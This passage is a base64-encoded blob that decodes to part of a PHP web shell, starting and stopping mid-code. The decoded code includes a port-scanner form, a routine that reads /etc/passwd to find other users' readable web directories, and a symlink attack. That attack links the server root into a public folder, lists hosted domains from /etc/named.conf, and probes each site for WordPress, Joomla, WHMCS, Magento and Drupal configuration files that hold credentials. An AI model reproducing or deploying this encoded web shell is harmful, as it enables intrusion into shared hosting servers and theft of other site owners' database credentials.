0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz48YnIgLz48YnIgLz4KICAgICAgICAgICAgICBQb3J0IHN0YXJ0OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3RhcnQiIHZhbHVlPSIwIi8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgUG9ydCBlbmQ6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz48YnIgLz4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiBQb3J0cyIgLz4KICAgICAgICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+PGJyIC8+PGJyIC8+JzsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOyAgICAKfQoKZnVuY3Rpb24gYWN0aW9uUmVhZGFibGUoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlJlYWRhYmxlIERpcnM8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7CiAgICBpZigkc20pIHsKICAgICAgICBlY2hvICc8YnIgLz48Yj5FcnJvcjogc2FmZV9tb2RlID0gb248L2I+PGJyIC8+PGJyIC8+JzsKICAgIH0gZWxzZSB7CiAgICAgICAgQCRwYXNzd2QgPSBmb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7CiAgICAgICAgaWYgKCEkcGFzc3dkKSB7IAogICAgICAgICAgICBlY2hvICc8YnIgLz48Yj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2Q8L2I+PGJyIC8+PGJyIC8+JzsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHB1YiA9IGFycmF5KCk7CiAgICAgICAgICAgICR1c2VycyA9IGFycmF5KCk7CiAgICAgICAgICAgICRjb25mID0gYXJyYXkoKTsKICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICB3aGlsZSghZmVvZigkcGFzc3dkKSkgewogICAgICAgICAgICAgICAgJHN0ciA9IGZnZXRzKCRwYXNzd2QpOwogICAgICAgICAgICAgICAgaWYgKCRpID4gMzUpIHsKICAgICAgICAgICAgICAgICAgICAkcG9zID0gc3RycG9zKCRzdHIsJzonKTsKICAgICAgICAgICAgICAgICAgICAkdXNlcm5hbWUgPSBzdWJzdHIoJHN0ciwwLCRwb3MpOwogICAgICAgICAgICAgICAgICAgICRkaXJ6ID0gJy9ob21lLycuJHVzZXJuYW1lLicvcHVibGljX2h0bWwvJzsKICAgICAgICAgICAgICAgICAgICBpZiAoKCR1c2VybmFtZSAhPSAnJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHB1YiwkZGlyeik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxicj48YnI+JzsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+IjsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJzIGFzICR1c2VyKSB7CiAgICAgICAgICAgICAgICAkcGF0aCA9ICIvaG9tZS8kdXNlci9wdWJsaWNfaHRtbC8iOwogICAgICAgICAgICAgICAgZWNobyAkcGF0aC4iPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIENvbXBsZXRlLi4uXG4iLiI8YnIgLz4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOyAgICAKfQoKZnVuY3Rpb24gYWN0aW9uU3ltbGluaygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U3ltbGluazwvaDE+JzsKICAgICRmdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgJGV4cGxkID0gZXhwbG9kZSgnLycsJGZ1cmwgKTsKICAgICRidXJsID1zdHJfcmVwbGFjZShlbmQoJGV4cGxkKSwnJywkZnVybCk7ICAKICAgIAogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+PGNlbnRlcj4KICAgICAgICAgICAgICAgIDxoMz5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dlYnNpdGVcJyxudWxsKSI+RG9tYWluczwvYT4gXSAtIAogICAgICAgICAgICAgICAgICAgIFsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2hvbGVcJyxudWxsKSI+V2hvbGUgU2VydmVyIFN5bWxpbms8L2E+IF0gLSAKICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ2NvbmZpZ1wnLG51bGwpIj5Db25maWcgZmlsZXMgc3ltbGluazwvYT4gXTwvaDM+PC9jZW50ZXI+JzsKICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3ZWJzaXRlJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CiAgICAgICAgaWYoISRkMG1haW5zKXsgCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+Q2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0nbWFpbicgYm9yZGVyPTAgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBVc2VycyA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgCiAgICAgICAgICAgICR1bmsgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7CiAgICAgICAgICAgICAgICAgICAgICAgICR1bmtbXSA9ICRkb21haW5zWzFdWzBdOwogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNvdW50PTE7CiAgICAgICAgICAgICR1bmsgPSBhcnJheV91bmlxdWUoJHVuayk7CiAgICAgICAgICAgICRsPTA7CiAgICAgICAgICAgIGZvcmVhY2goJHVuayBhcyAkZCl7CiAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZCkpOwogICAgICAgICAgICAgICAgZWNobyAiPHRyIi4oJGw/JyBjbGFzcz1sMSc6JycpLiI+PHRkPiIuJGNvdW50LiI8L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly8iLiRkLiIvPiIuJGQuIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRjb3VudCsrOwogICAgICAgICAgICAgICAgJGw9JGw/MDoxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgCiAgICB9CiAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nd2hvbGUnKQogICAgewogICAgICAgIGVjaG8gIjxjZW50ZXI+IjsKICAgICAgICBAbWtkaXIoJ3N5bScsMDc3Nyk7CiAgICAgICAgJGhkdCAgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgICAgICRoZnAgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiAgICAgICAgZndyaXRlKCRoZnAgLCRoZHQpOwogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7CiAgICAgICAgICAgIEBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsKICAgICAgICB9CiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CiAgICAgICAgaWYoISRkMG1haW5zKSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOyAKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBVc2VyIDwvdGg+PHRoPiBTeW1saW5rIDwvdGg+PC90cj4iOwogICAgICAgICAgICAkY291bnQ9MTsKICAgICAgICAgICAgJG1jayA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CiAgICAgICAgICAgICAgICBpZihAZXJlZ2koJ3pvbmUnLCRkMG1haW4pKXsKICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsKICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5bMV1bMF0pKSA+Mil7CiAgICAgICAgICAgICAgICAgICAgICAgICRtY2tbXSA9ICRkb21haW5bMV1bMF07CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRtY2sgPSBhcnJheV91bmlxdWUoJG1jayk7CiAgICAgICAgICAgICRsPTA7CiAgICAgICAgICAgIGZvcmVhY2goJG1jayBhcyAkZCkgewogICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGQpKTsKICAgICAgICAgICAgICAgICRkZHQgPSAkdXNlclsnbmFtZSddOwogICAgICAgICAgICAgICAgLy9Ac3ltbGluaygnLycsJ3N5bS9yb290Jyk7CiAgICAgICAgICAgICAgICAkZGR0ID0gJGQ7CiAgICAgICAgICAgICAgICBpZihAZXJlZ2koIlwuaXIiLCRkKSBvciBAZXJlZ2koIlwuaWwiLCRkKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGR0ID0gIjxkaXYgc3R5bGU9JyBjb2xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kZC4nPC9kaXY+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vIi4kZC4nLz4nLiRkZHQuJyA8L2E+PC90ZD48dGQ+Jy4kdXNlclsnbmFtZSddLiI8L3RkPjx0ZD48YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+c3ltbGluayA8L2E+PC90ZD48L3RyPiI7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgJGw9JGw/MDoxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgICAgCiAgICB9CiAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nY29uZmlnJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgQG1rZGlyKCdzeW0nLDA3NzcpOwogICAgICAgICRoZHQgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgICAgICRoZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOwogICAgICAgIEBmd3JpdGUoJGhmcCAsJGhkdCk7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsKICAgICAgICAgICAgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOwogICAgICAgIH0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKICAgICAgICBpZighJGQwbWFpbnMpIHsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyA+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbnMgPC90aD48dGg+IFNjcmlwdCA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGNvdW50ID0gMTsKICAgICAgICAgICAgJGw9MDsKICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOwogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpPjIpewogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluWzFdWzBdKSk7CgogICAgICAgICAgICAgICAgICAgICAgICAkYzEgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAxID0gZ2V0X2hlYWRlcnMoJGMxKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDEgPSAkY2gwMVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMyID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAyID0gZ2V0X2hlYWRlcnMoJGMyKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDIgPSAkY2gwMlswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMzID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDMgPSBnZXRfaGVhZGVycygkYzMpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMyA9ICRjaDAzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzQgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDQgPSBnZXRfaGVhZGVycygkYzQpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNCA9ICRjaDA0WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzUgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA1ID0gZ2V0X2hlYWRlcnMoJGM1KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDUgPSAkY2gwNVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM2ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNiA9IGdldF9oZWFkZXJzKCRjNik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA2ID0gJGNoMDZbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjNyA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDcgPSBnZXRfaGVhZGVycygkYzcpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNyA9ICRjaDA3WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzggPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLidwdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDggPSBnZXRfaGVhZGVycygkYzgpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwOCA9ICRjaDA4WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzkgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA5ID0gZ2V0X2hlYWRlcnMoJGM5KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDkgPSAkY2gwOVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMCA9IGdldF9oZWFkZXJzKCRjMTApOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMCA9ICRjaDEwWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzExID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMSA9IGdldF9oZWFkZXJzKCRjMTEpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMSA9ICRjaDExWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzEyID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEyID0gZ2V0X2hlYWRlcnMoJGMxMik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEyID0gJGNoMTJbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTMgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEzID0gZ2V0X2hlYWRlcnMoJGMxMyk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEzID0gJGNoMTNbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTQgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZS9hcHBfY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDE0ID0gZ2V0X2hlYWRlcnMoJGMxNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjE0ID0gJGNoMTRbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTUgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNSA9IGdldF9oZWFkZXJzKCRjMTUpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNSA9ICRjaDE1WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcmbmJzcDsnOwogICAgICAgICAgICAgICAgICAgICAgICBpZihzdHJwb3MoJGNmMDEsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICI8YSBocmVmPSciLiRjMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7ICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlICYmIHN0cnBvcygkY2YxMSwnMjAwJykgPT0gdHJ1ZSkgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwOSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjOS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTAsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzEwLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMzLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNC4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDUsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzUuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA2LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM2LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDgsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTMsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPm9zQ29tbWVyY2UvWmVuIENhcnQ8L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+TWFnZW50bzwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5EcnVwYWw8L2E+IjsgIH0KICAg